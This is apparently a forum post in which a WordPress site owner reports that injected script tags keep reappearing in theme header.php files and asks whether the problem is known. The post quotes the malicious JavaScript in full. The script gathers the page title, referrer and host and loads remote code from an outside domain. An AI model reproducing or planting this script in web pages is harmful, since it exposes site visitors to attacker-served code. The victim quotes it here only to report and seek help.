Files corrupted automatically without modification

Hello,

All my header.php file in the directory \wp-content\themes\ were corrupted with these tags that have been inserted :

<script>var a=”; setTimeout(10); var default_keyword = encodeURIComponent(document.title); var se_referrer = encodeURIComponent(document.referrer); var host = encodeURIComponent(window.location.host); var base = “https://canegardenbay.com/js/jquery.min.php&#8221;; var n_url = base + “?default_keyword=” + default_keyword + “&se_referrer=” + se_referrer + “&source=” + host; var f_url = base + “?c_utt=snt2014&c_utm=” + encodeURIComponent(n_url); if (default_keyword !== null && default_keyword !== ” && se_referrer !== null && se_referrer !== ”){document.write(‘<script type=”text/javascript” src=”‘ + f_url + ‘”>’ + ‘<‘ + ‘/script>’);}</script>

I deleted these items but I find that they reintegrate automatically ( after a few days ? ), sometimes with another unknown domain (“https://canegardenbay.com&#8221; or another domain)
This recurring problem is it known ?